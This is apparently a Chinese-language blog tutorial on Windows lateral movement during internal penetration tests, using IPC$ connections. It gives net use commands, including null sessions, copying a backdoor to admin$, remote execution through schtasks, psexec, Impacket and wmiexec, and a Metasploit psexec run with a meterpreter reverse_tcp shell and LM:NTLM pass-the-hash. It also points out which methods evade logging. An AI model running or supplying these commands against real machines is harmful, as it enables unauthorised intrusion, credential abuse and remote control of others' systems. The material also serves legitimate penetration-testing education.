内网渗透中无法使用3389的情况下,不妨尝试一下使用IPC连接

0x00 IPC使用端口:

1 、SMB:(Server Message Block) Windows协议族,用于文件打印共享的服务;

2 、NBT:(NETBios Over TCP/IP)使用137(UDP)138(UDP)139(TCP)端口实现基于TCP/IP协议的NETBIOS网络互联。

3 、在WindowsNT中SMB基于NBT实现,即使用139(TCP)端口;而在Windows2000中,SMB除了基于NBT实现,还可以直接通过445端口实现。

0x01 IPC连接常用命令:

当获取到可用于远程管理的账户时候,便可通过对ADMIN$目录建立IPC连接的方式远程连接到工作组或域内其他计算机,获取目标机器的控制权限。(内网渗透时曾遇到3389远程登录策略被禁止,且无该机器shell,但通过信息收集获取到账号密码的情况,选择使用IPC连接)

net share   // 查看是否开启IPC连接(windows默认开启共享)

net use \\192.168.1.2 /u:domainname\administrator password //建立ipc连接

net share ipc$   //开启ipc连接

net use \\192.168.1.2\ipc$ "" /user:""   //建立空连接

net use \\192.168.1.2 /de /y   //删除ipc连接

net time \\192.168.1.2   //查看远程主机当前时间

net view \\192.168.1.2   //查看共享目录

net view \\192.168.1.2\c$\users //列出指定目录文件

copy nbtscan.exe \\192.168.1.2\C$\windows\temp\   //复制文件

copy \\192.168.1.2\C$\windows\temp\hash.txt   //下载文件

tips:

默认情况下只有域管用户有权限对admin$目录建立IPC连接,其实本地的Administrator用户也可以,但是默认情况下该用户是被禁用的,如果启用了该用户,那么也可以使用Administrator用户远程连接

0x02 IPC计划任务执行命令:

at命令(已弃用):

copy srv.exe \\ip\admin$\system32  //将一次性后门srv.exe复制到对方的系统文件夹下,前提是admin$开启 

at \\ip 时间 srv.exe   //用at命令远程运行srv.exe,需要对方开启了\'Task Scheduler\'服务

schtasks命令:

schtasks /create /tn task1 /U  域\域用户  /P  域用户密码  /tr  命令 /sc ONSTART /s 域机器ip /RU system

示例(IPC已登录情况下,省略账号密码):

计划安全脚本 Sec.vbs 每 20 分钟运行一次。由于命令没有包含起始日期或时间,任务在命令完成 20 分钟后启动,此后每当系统运行它就每 20 分钟运行一次。请注意,安全脚本源文件位于远程计算机上,但任务在本地计算机上计划并执行。

schtasks /create /tn "Security scrīpt" /sc minute /mo 20  /tr \\central\data\scrīpts\sec.vbs

 

schtasks  /run  /tn  task1 /s 192.168.10.2 /U 域/域用户 /P 域用户密码

schtasks /F /delete /tn task1 /s 域机器ip /U 域\域用户 /p 域用户密码

 

利用计划任务执行木马程序获得主机权限外,我们还可以利用schtasks计划任务直接执行系统命令,但由于不会回显,所以我们要将执行的结果写入到一个文本文件中,然后利用type命令远程读取:

schtasks /create /s 192.168.1.2 /tn test /sc minute /mo 20 /tr "C:\Windows\System32\cmd.exe /c \'whoami > C:\Users\Administrator\result.txt\'" /ru system /f
使用type命令读取文件内容:
type \\192.168.1.2\c$\Users\Administrator\result.txt

注意:在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SchedLgU.txt

0x03 PSEXEC 配合 IPC :

1、在已建立IPC连接的前提下,使用微软官方工具pstools,反弹shell

net use \\ip /u:域名称\域账号 密码

psexec.exe \\ip -s cmd.exe -acceptcula 反弹cmd

2、直接使用psexec登录并反弹cmd,或执行命令

psexec  \\ip -u domain\Administrator -p password-s cmd.exe -acceptcula

psexec domain/user:password@ip whoami

0x04 Impacket配合IPC:

smbexec.py domain/user:password@ip

wmiexec.py domain/user:password@ip whoami

- psexec.py
- 与官方psexec.exe相比会自动删除服务,增加隐蔽性*

psexec.py domain/user:password@ip

psexec.py domain/user:password@ip whoami

 

0x05 Metaspolit配合IPC:

常用模块为:

exploit/windows/smb/psexec           // 用psexec执行系统命令,与psexec.exe相同
exploit/windows/smb/psexec_psh       // 使用powershell作为payload(PsExec的PowerShell版本)
auxiliary/admin/smb/psexec_command   // 在目标机器上执行系统命令
exploit/windows/smb/ms17_010_psexec

以下使用exploit/windows/smb/psexec模块

tips:填入的hash为 LM hash:NTLM Hash

msf6 > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set LHOST 10.10.12.191
LHOST => 10.10.12.191
msf6 exploit(windows/smb/psexec) > set LPORT 1234
LPORT => 1234
msf6 exploit(windows/smb/psexec) > set RHOSTS 192.168.126.137
RHOSTS => 192.168.126.137
msf6 exploit(windows/smb/psexec) > show options

Module options (exploit/windows/smb/psexec):

  Name                 Current Setting Required Description
  ----                 --------------- -------- -----------
  RHOSTS               192.168.126.137 yes       The target host(s), range CIDR identifier, or hosts file with syntax \'file:<path>\'
  RPORT                 445             yes       The SMB service port (TCP)
  SERVICE_DESCRIPTION                   no       Service description to to be used on target for pretty listing
  SERVICE_DISPLAY_NAME                   no       The service display name
  SERVICE_NAME                           no       The service name
  SHARE                                 no       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
  SMBDomain             .               no       The Windows domain to use for authentication
  SMBPass                               no       The password for the specified username
  SMBUser                               no       The username to authenticate as


Payload options (windows/meterpreter/reverse_tcp):

  Name     Current Setting Required Description
  ----     --------------- -------- -----------
  EXITFUNC thread           yes       Exit technique (Accepted: \'\', seh, thread, process, none)
  LHOST     10.10.12.191     yes       The listen address (an interface may be specified)
  LPORT     1234             yes       The listen port


Exploit target:

  Id Name
  -- ----
  0   Automatic


msf6 exploit(windows/smb/psexec) > set SMBUser administrator
SMBUser => administrator
msf6 exploit(windows/smb/psexec) > set SMBPASS f471ca8ea823361ef9393d97e7a1873c:4d01fbeeaf2b706478943e0889df5622
SMBPASS => f471ca8ea823361ef9393d97e7a1873c:4d01fbeeaf2b706478943e0889df5622
msf6 exploit(windows/smb/psexec) > set SMBDomain leaf.com
SMBDomain => leaf.com
msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 10.10.12.191:1234
[*] 192.168.126.137:445 - Connecting to the server...
[*] 192.168.126.137:445 - Authenticating to 192.168.126.137:445|leaf.com as user \'administrator\'...
[-] 192.168.126.137:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.
[*] Exploit completed, but no session was created.

 

0x06 建立IPC连接失败的原因:

1、 IPC连接是Windows NT及以上系统中特有的功能,由于其需要用到Windows NT中很多DLL函数,所以不能在Windows 9.x/Me系统中运行,也就是说只有nt/2000/xp才可以相互建立ipc$连接,98/me是不能建立ipc$连接的;

2 、如果想成功的建立一个ipc$连接,就需要响应方开启ipc$共享,即使是空连接也是这样,如果响应方关闭了ipc$共享,将不能建立连接;

3 、连接发起方未启动Lanmanworkstation服务(显示名为:Workstation):它提供网络链结和通讯,没有它发起方无法发起连接请求;

4、 响应方未启动Lanmanserver服务(显示名为:Server):它提供了 RPC 支持、文件、打印以及命名管道共享,ipc$依赖于此服务,没有它主机将无法响应发起方的连接请求,不过没有它仍可发起ipc$连接;

5 、响应方未启动NetLogon,它支持网络上计算机 pass-through 帐户登录身份(不过这种情况好像不多);

6 、响应方的139,445端口未处于监听状态或被防火墙屏蔽;7 连接发起方未打开139,445端口;

7、 用户名或者密码错误:如果发生这样的错误,系统将给你类似于\’无法更新密码\’这样的错误提示(显然空会话排除这种错误);

8、 命令输入错误:可能多了或少了空格,当用户名和密码中不包含空格时两边的双引号可以省略,如果密码为空,可以直接输入两个引号””即可;

9、 如果在已经建立好连接的情况下对方重启计算机,那么ipc$连接将会自动断开,需要重新建立连接。

另外,也可以根据返回的错误号分析原因:

错误号5,拒绝访问:很可能你使用的用户不是管理员权限的;

错误号51,Windows无法找到网络路径:网络有问题;

错误号53,找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);

错误号67,找不到网络名:你的lanmanworkstation服务未启动或者目标删除了ipc$;

错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个ipc$,请删除再连;

错误号1326,未知的用户名或错误密码:原因很明显了;

错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动;

错误号2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。

0x07 wmiexec:

wmi介绍
全称是Windows management instrumentation,它出现在所有的Windows操作系统中,并由一组强大的工具集合组成,用于管理本地或远程的Windows系统,攻击者使用wmi来进行攻击,但Windows系统默认不会再日志中记录这些操作,可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性。推荐使用wmiexec进行远程执行命令
wmiexec介绍
大牛使用VBS脚本调用WMI来模拟 psexec 的功能,于是乎WMIEXEC 就诞生了。基本上psexec 能用的地方,这个脚本也能够使用。整个过程是先调用WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机,然后如果提供了账号密码,则用这个账号密码建立一个到目标的IPC连接。随后WMI会建立一个共享文件夹,用于远程读取命令执行结果。 当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹中。最后,通过FSO组件访问远程共享文件夹中的结果文件,将结果输出。当结果读取完成时,调用WMI执行命令删除结果文件。最后当WMIEXEC退出时,删除文件共享。
常用命令
获取半交互式shell
cscript.exe //nologo wmiexec.vbs /shell 192.168.0.1 username password
在远程系统上执行单条命令
cscript.exe wmiexec.vbs /cmd 192.168.0.1 username password “cmdkey /list”
在远程系统上执行bat脚本
cscript.exe wmiexec.vbs /cmd 192.168.0.1 username password c:\programdata\test.bat

上面是提供账号密码的情况,如果有时候我们抓取到的是hash,破解不了时可以利用WCE的hash注入,然后再执行wmiexec(不提供账号密码)就可以了,操作如下:
wce –s 账号:主机名或域的名字:LM:NTLM
cscript //nologo wmiexec.vbs /shell 192.168.0.1

 

版权声明:本文为leafleaf原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/leafleaf/p/14323872.html